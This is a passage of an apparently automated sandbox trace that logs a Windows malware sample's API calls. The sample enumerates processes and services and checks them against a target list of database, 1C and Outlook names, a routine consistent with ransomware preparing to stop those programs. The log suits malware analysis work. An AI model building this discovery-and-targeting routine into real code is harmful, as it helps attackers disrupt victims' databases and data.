(lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0161.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0161.216] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0161.216] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0161.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0161.216] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0161.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0161.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0161.216] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0161.216] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0161.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0161.216] lstrlenW (lpString="Winmgmt") returned 7 [0161.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0161.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0161.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0161.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0161.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0161.217] lstrlenW (lpString="WPDBusEnum") returned 10 [0161.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0161.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0161.217] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0161.217] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0161.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0161.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0161.217] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x348 [0161.220] Process32FirstW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.220] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0161.221] lstrlenW (lpString="System") returned 6 [0161.221] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0161.221] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0161.221] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0161.221] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0161.221] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0161.221] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0161.221] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0161.221] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0161.222] lstrlenW (lpString="smss.exe") returned 8 [0161.222] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0161.222] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0161.222] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0161.222] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0161.222] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0161.222] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0161.222] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0161.222] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.222] lstrlenW (lpString="csrss.exe") returned 9 [0161.222] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0161.222] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0161.222] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0161.223] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0161.223] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0161.223] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0161.223] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0161.223] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0161.223] lstrlenW (lpString="wininit.exe") returned 11 [0161.223] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0161.223] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0161.223] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0161.223] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0161.223] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0161.223] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0161.223] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0161.223] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.224] lstrlenW (lpString="csrss.exe") returned 9 [0161.224] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0161.224] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0161.224] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0161.224] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0161.224] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0161.224] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0161.224] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0161.225] lstrlenW (lpString="winlogon.exe") returned 12 [0161.225] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0161.225] lstrlenW (lpString="services.exe") returned 12 [0161.225] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0161.226] lstrlenW (lpString="lsass.exe") returned 9 [0161.226] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0161.226] lstrlenW (lpString="lsm.exe") returned 7 [0161.226] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.227] lstrlenW (lpString="svchost.exe") returned 11 [0161.227] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.227] lstrlenW (lpString="svchost.exe") returned 11 [0161.227] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.228] lstrlenW (lpString="svchost.exe") returned 11 [0161.228] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.228] lstrlenW (lpString="svchost.exe") returned 11 [0161.228] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.229] lstrlenW (lpString="svchost.exe") returned 11 [0161.229] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0161.229] lstrlenW (lpString="audiodg.exe") returned 11 [0161.229] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.230] lstrlenW (lpString="svchost.exe") returned 11 [0161.230] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.230] lstrlenW (lpString="svchost.exe") returned 11 [0161.230] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0161.231] lstrlenW (lpString="spoolsv.exe") returned 11 [0161.231] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0161.231] lstrlenW (lpString="taskhost.exe") returned 12 [0161.231] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.232] lstrlenW (lpString="svchost.exe") returned 11 [0161.232] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0161.232] lstrlenW (lpString="userinit.exe") returned 12 [0161.232] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0161.233] lstrlenW (lpString="dwm.exe") returned 7 [0161.233] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0161.233] lstrlenW (lpString="explorer.exe") returned 12 [0161.233] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0161.234] lstrlenW (lpString="3G6885.exe") returned 10 [0161.234] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0161.234] lstrlenW (lpString="reader_sl.exe") returned 13 [0161.234] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0161.235] lstrlenW (lpString="drvinst.exe") returned 11 [0161.235] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0161.235] lstrlenW (lpString="taskhost.exe") returned 12 [0161.235] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0161.236] lstrlenW (lpString="consent.exe") returned 11 [0161.236] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0161.236] lstrlenW (lpString="dllhost.exe") returned 11 [0161.236] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0161.237] lstrlenW (lpString="dllhost.exe") returned 11 [0161.237] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0161.237] CloseHandle (hObject=0x348) returned 1 [0161.238] Sleep (dwMilliseconds=0x1f4) [0162.111] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8cc0 [0162.112] EnumServicesStatusExW (in: hSCManager=0x41d8cc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0162.112] GetLastError () returned 0xea [0162.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0162.113] EnumServicesStatusExW (in: hSCManager=0x41d8cc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0162.114] CloseServiceHandle (hSCObject=0x41d8cc0) returned 1 [0162.114] lstrlenW (lpString="Appinfo") returned 7 [0162.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0162.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0162.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0162.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0162.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0162.114] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0162.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.114] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0162.114] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0162.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0162.114] lstrlenW (lpString="AudioSrv") returned 8 [0162.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0162.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0162.115] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0162.115] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0162.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0162.115] lstrlenW (lpString="BFE") returned 3 [0162.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0162.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0162.115] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0162.115] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0162.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0162.115] lstrlenW (lpString="CryptSvc") returned 8 [0162.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0162.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0162.115] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0162.115] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0162.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0162.115] lstrlenW (lpString="CscService") returned 10 [0162.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0162.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0162.115] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0162.115] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0162.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0162.115] lstrlenW (lpString="DcomLaunch") returned 10 [0162.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.115] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0162.116] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0162.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0162.116] lstrlenW (lpString="Dhcp") returned 4 [0162.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0162.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0162.116] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0162.116] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0162.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0162.116] lstrlenW (lpString="Dnscache") returned 8 [0162.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0162.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0162.116] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0162.116] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0162.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0162.116] lstrlenW (lpString="DPS") returned 3 [0162.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0162.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0162.116] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0162.116] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0162.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0162.116] lstrlenW (lpString="eventlog") returned 8 [0162.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0162.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0162.116] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0162.116] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0162.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0162.117] lstrlenW (lpString="EventSystem") returned 11 [0162.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0162.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0162.117] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0162.117] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0162.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0162.117] lstrlenW (lpString="gpsvc") returned 5 [0162.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0162.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0162.117] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0162.117] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0162.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0162.117] lstrlenW (lpString="iphlpsvc") returned 8 [0162.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.118] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0162.118] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0162.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0162.118] lstrlenW (lpString="LanmanServer") returned 12 [0162.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0162.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0162.118] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0162.118] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0162.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0162.118] lstrlenW (lpString="LanmanWorkstation") returned 17 [0162.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.118] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0162.118] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0162.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0162.118] lstrlenW (lpString="lmhosts") returned 7 [0162.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0162.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0162.118] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0162.118] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0162.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0162.119] lstrlenW (lpString="MMCSS") returned 5 [0162.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0162.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0162.119] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0162.119] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0162.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0162.119] lstrlenW (lpString="MpsSvc") returned 6 [0162.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0162.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0162.119] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0162.119] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 